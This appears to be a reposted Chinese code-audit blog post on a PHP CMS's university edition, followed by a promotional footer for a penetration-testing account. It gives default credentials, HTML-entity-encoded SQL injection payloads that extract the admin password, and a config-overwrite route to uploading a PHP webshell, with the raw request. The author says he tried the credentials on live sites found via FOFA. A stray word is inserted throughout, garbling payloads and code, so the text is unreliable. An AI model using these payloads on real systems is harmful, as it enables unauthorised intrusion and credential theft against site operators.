闪灵初始版（闪灵cms高校版代码审计）

php教程视频教程全集百度云

目录简介漏洞1：默认密码漏洞2：用户后台update注入漏洞3：论坛评论insert注入漏洞4：管理后台文件上传简介闪灵cms高校版是一款php开发的智能企业建站系统，该系教程统能让用户在短时间内迅速架设属于自己的企业网站。

建站系统易学易懂，用户只需会上网、不需学习编程及任何语言，只要使用该系统平台，即可在线直接完成建站所有工作漏洞1：默认密码在安装系统完成之后，到数据库就教程可以看到有几个默认系统用户密码（注意：这里不是管理员用户，只是普通用户，并无进入网站管理后台的权限）。

随便找一个密码去解密比如：7FEF6171469E80D32C0559F88B377245

就得到了教程默认账户admin/admin888的登陆口令，现在去登录系统的用户后台。http://localhost/member/member_login.php

ps: 我去fofa随便找了几个网站试，成功率教程还是挺高的，不过得开用户登录后台功能，默认情况下是开启的一般开启用户登录后台基本都会有这么几个默认用户漏洞2：用户后台update注入路径：member/member_edit.php。

可以看到以下代教程码，参数都是直接从post请求中获取,只是经过了htmlspecialchars过滤，然后直接拼接到sql语句当中，所以这段代码是存在注入的。

验证：用navicat开启mysql日志，然后根据日志文件教程查看sql语句执行情况setglobal general_log=ON;showvariablesLIKE%general_log%;然后打上单引号看看是否效果如我们预想，发现其实代码还是有做防护的。教程

防护代码如下：路径：function/function.php如下图可见，POST请求经过了正则表达式的检测，如果匹配到敏感字符将会die掉程序终止执行。

但是在member/member_edit.p教程hp代码22行, 参数又经过了RemoveXSS函数的过滤$M_info=RemoveXSS($_POST["M_info"]);跟进这个函数可以看到这么一段代码，具体而言，这段代码是在处理一个字符串教程 。

$val 中出现的 HTML 实体编码，将其转换为对应的字符具体实现方式是通过正则表达式匹配实体编码，并使用 PHP 内置函数 ord() 将匹配到的字符转换成 ASCII 码然后，使用 dech教程ex()。

那么就可以使用html实体编码sql注入payload用来绕过检测教程比如的html实体编码为'，然后url编码一遍可以看到执行语句的日志可以发现成功的绕过了检测，并且进入数据库的字符也被解码了

直接上payload，注入获取管理员密码%26%2339,M_info=(%教程26%23115elect a_pwd from sl_admin),M_add=%26%2339

漏洞3：论坛评论insert注入路径：bbs/item.php和上个漏洞点形成原因一样只是换了个注入方教程式。

payload:aaaaa%26%2339,%26%23392023-01-01%26%2339,7,1,1),(%26%2339aaa%26%2339,(%26%23115elect a_pwd教程 from sl_admin), %26%23391010-02-02%26%2339,7,1,1) %23

漏洞4：管理后台文件上传这个是一个组合漏洞，因为系统后台虽然可以设置上传文件格式，但是不允许教程设置php这些格式但是好在过滤是以黑名单的方式，然后该系统又有ue编辑器，那么就可以上传一个json文件将其原有的config.json文件覆盖掉，最后通过ue编辑器上传webshell。

首先在con教程fig.json文件处加上允许上传php

然后到后台修改一下安全配置，设置允许上传json格式的文件

然后把刚刚修改好的文件上传覆盖掉原有的config.json文件

最后去ue编辑器发个包就大功告成了PO教程ST/ueditor/php/controller.php?action=uploadfileHTTP/1.1Host: localhostContent-Type。

: multipart/form-教程data; boundary=----WebKitFormBoundaryG33bK0VpwNWgBEHFConnection: close------WebKitFormBoundaryG33bK0教程VpwNWgBEHF

Content-Disposition: form-data; name="upfile"; filename="1.php"Content-Type: application/o教程ctet-stream

------WebKitFormBoundaryG33bK0VpwNWgBEHF--

Test001https://forum.butian.net/index.php/share教程/2475【Hacking黑白红】，一线渗透攻防实战交流公众号

回复“电子书”获取web渗透、CTF电子书:回复“视频教程”获取渗透测试视频教程;  回复“内网书籍”获取内网学习书籍;        回教程复“CTF工具”获取渗透、CTF全套工具;回复“内网渗透”；获取内网渗透资料;

回复“护网”；获取护网学习资料 ;回复“python”,获取python视频教程；回复“java”，获取Java视频教程;教程回复“go”，获取go视频教程知识星球【Hacking藏经阁】知识星球致力于分享

技术和认知1、技术方面主攻渗透测试（web和内网）、CTF比赛、逆向、护网行动等；400G渗透教学视频、80多本安全类电教程子书、50个渗透靶场（资料主要来自本人总结、以及学习过程中购买的课程）2、认知方面。

副业经营、人设IP打造，具体点公众号运营、抖*yin等自媒体运营（目前主要在运营两个平台4个号）如果你也想像我一样，教程不想35岁以后被动的去面试，那么加入星球我们一起成长欢迎加入99米/年，平均每天2毛7分

钱，学习网络安全一整年。

渗透实战系列▶【渗透实战系列】51|- 一次BC站点的GetShell过程▶【渗透实战系教程列】50|- Log4j打点后与管理员斗智斗勇▶【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置▶【渗透实战系列】|48-一次内网渗透

▶【渗透实战系列】|47-记一次对某鱼骗子卖家的溯源▶【教程渗透实战系列】|46-渗透测试：从Web到内网▶【渗透实战系列】|45-记一次渗透实战-代码审计到getshell▶【渗透实战系列】|44-记一次授权渗透实战（过程曲折，Java getshell）

▶教程【渗透实战系列】|43-某次通用型漏洞挖掘思路分享▶【渗透实战系列】|42-防范诈骗，记一次帮助粉丝渗透黑入某盘诈骗的实战▶【渗透实战系列】|41-记一次色*情app渗透测试▶【渗透实战系列】|40-教程APP渗透测试步骤（环境、代理、抓包挖洞）

▶【渗透实战系列】|39-BC渗透的常见切入点（总结）▶【渗透实战系列】|38-对某色情直播渗透▶【渗透实战系列】|37-6年级小学生把学校的网站给搞了！▶【教程渗透实战系列】|36-一次bc推广渗透实战▶

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透▶【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链▶【渗透实战系列】|33-App渗透 ,由教程sql注入、绕过人脸识别、成功登录APP▶【渗透实战系列】|32-FOFA寻找漏洞，绕过杀软拿下目标站

▶【渗透实战系列】|31-记一次对学校的渗透测试▶【渗透实战系列】|30-从SQL注入渗透内网（渗教程透的本质就是信息搜集）▶【渗透实战系列】|29-实战|对某勒索APP的Getshell▶【渗透实战系列】|28-我是如何拿下BC站的服务器

▶【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试（成功获取管教程理员真实IP）▶【渗透实战系列】|26一记某cms审计过程(步骤详细)▶【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

▶【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码教程审计思路和方法▶【渗透实战系列】|23-某菠菜网站渗透实战▶【渗透实战系列】|22-渗透系列之打击彩票站▶【渗透实战系列】|21一次理财杀猪盘渗透测试案例

▶【渗透实战系列】|20-渗透直播网站▶【渗透教程实战系列】|19-杀猪盘渗透测试▶【渗透实战系列】|18-手动拿学校站点 得到上万人的信息（漏洞已提交）▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell

▶【渗透实战系列】|16-裸教程聊APP渗透测试▶【渗透实战系列】|15-博彩网站（APP）渗透的常见切入点▶【渗透实战系列】|14-对诈骗（杀猪盘）网站的渗透测试▶【渗透实战系列】|13-waf绕过拿下赌博网站

▶【渗透实战系列】|教程12 -渗透实战， 被骗4000花呗背后的骗局▶【渗透实战系列】|11 - 赌博站人人得而诛之▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖（修改价格提交订单）▶【渗透实战系列】|9-对教程境外网站开展的一次web渗透测试（非常详细，适合打战练手）

▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程（详细到无语）▶【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例▶【渗透教程实战系列】|6- BC杀猪盘渗透一条龙▶【渗透实战系列】|5-记一次内衣网站渗透测试

▶【渗透实战系列】|4-看我如何拿下BC站的服务器▶【渗透实战系列】|3-一次简单的渗透▶【渗透实战系列】|2-记一教程次后门爆破到提权实战案例▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战（getshell并获得全部数据）

长按-识别-关注

Hacking黑白红一个专注信息安全技术的学习平台

点分享

点收藏

点点赞

点在教程看

亲爱的读者们，感谢您花时间阅读本文。如果您对本文有任何疑问或建议，请随时联系我。我非常乐意与您交流。